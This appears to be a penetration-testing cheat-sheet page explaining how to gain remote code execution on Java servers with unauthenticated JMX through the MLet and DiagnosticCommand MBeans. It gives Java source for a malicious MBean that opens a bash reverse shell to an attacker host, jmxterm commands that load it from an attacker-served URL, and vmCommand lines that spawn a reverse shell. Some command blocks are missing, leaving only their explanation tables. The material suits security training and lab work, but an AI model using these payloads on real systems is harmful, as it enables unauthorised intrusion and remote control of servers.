JMX MLet MBean Code Execution
Unauthenticated JMX access enables remote code execution through two primary paths: the MLet MBean which loads remote Java classes from a URL you control, and the DiagnosticCommand MBean which exposes a vmCommand operation for JVM-level command execution. Both execute in the context of the Java process user. Confirm unauthenticated access through JMX unauthenticated access assessment before proceeding.
Check for MLet MBean
MLet is a built-in JMX service that loads MBeans from remote URLs. Its presence enables arbitrary class loading from attacker-controlled infrastructure:
JMImplementation:type=MBeanServerDelegate JMImplementation:type=MLet
Explain command
| -e | Enable interpretation of backslash escape sequences in the string. |
| $TARGET_IP:1099 | Target host and RMI registry port for the JMX RMI connection. |
| -jar | Executes the specified JAR file as a Java application. |
| 2>/dev/null | Redirects stderr to /dev/null to suppress error output. |
Build a Malicious MBean JAR
Create a Java class that executes an OS command when instantiated as an MBean:
// ExecMBean.java
public interface ExecMBean {}
// Exec.java
import java.io.*;
public class Exec implements ExecMBean {
public Exec() throws Exception {
Runtime.getRuntime().exec(new String[]{
"/bin/bash", "-c",
"bash -i >& /dev/tcp/LHOST/LPORT 0>&1"
});
}
}
Create MLet File and Serve It
The MLet service loads MBeans from an HTML-like descriptor file. Serve both the descriptor and the JAR from a Python web server:
Serving HTTP on 0.0.0.0 port 8000 ...
Load the Malicious MBean via MLet
Explain command
| -l | Listen mode, waits for incoming connections. |
| -v | Verbose output, shows connection details. |
| -n | Skip DNS resolution, use numeric IPs only. |
| -p | Specifies the local port number to listen on. |
| $LPORT | Placeholder for the local port number to bind. |
| & | Runs the process in the background. |
open service:jmx:rmi:///jndi/rmi://10.10.10.50:1099/jmxrmi
bean JMImplementation:type=MLet
run getMBeansFromURL http://LHOST:8000/mlet.html
#run getMBeansFromURL http://10.10.14.5:8000/mlet.html [exploit:name=exec]
Explain command
| -e | Enable interpretation of backslash escape sequences in echo output. |
| $TARGET_IP:1099 | Target host and RMI registry port for the JMX RMI service. |
| $LHOST:8000 | Attacker-controlled host and port serving the malicious mlet.html. |
| -jar /opt/jmxterm.jar | Execute the specified JAR file as the main application entry point. |
| 2>/dev/null | Redirect stderr to /dev/null to suppress error messages. |
Alternative — DiagnosticCommand MBean
When DiagnosticCommand is available it provides direct JVM command execution without needing to serve a JAR:
open service:jmx:rmi:///jndi/rmi://10.10.10.50:1099/jmxrmi
bean com.sun.management:type=DiagnosticCommand
run vmCommand "System.exec('id')"
run vmCommand "System.exec('bash -c {bash,-i,>&,/dev/tcp/LHOST/LPORT,0>&1}')"
Alternative — sjet Automated Exploitation
sjet automates the MLet attack chain in a single command when operating outside exam environments:
Important
sjet is an exploitation tool — do not use it in OSCP or other exam environments. Use the manual MLet or DiagnosticCommand approach above for exam scenarios.
Explain command
| $TARGET_IP | Target host IP address running the vulnerable JMX service. |
| 1099 | Target port number for the JMX RMI service. |
| super_secret | JMX authentication password used to connect to the service. |
| executeCommand | sjet action to execute an OS command via JMX. |
| 'id' | OS command to execute on the remote target (returns current user info). |
References
-
Automated JMX exploitation via MLet MBean class loading
-
Interactive CLI for manual MLet and DiagnosticCommand exploitation
Was this helpful?
Your feedback helps improve this page.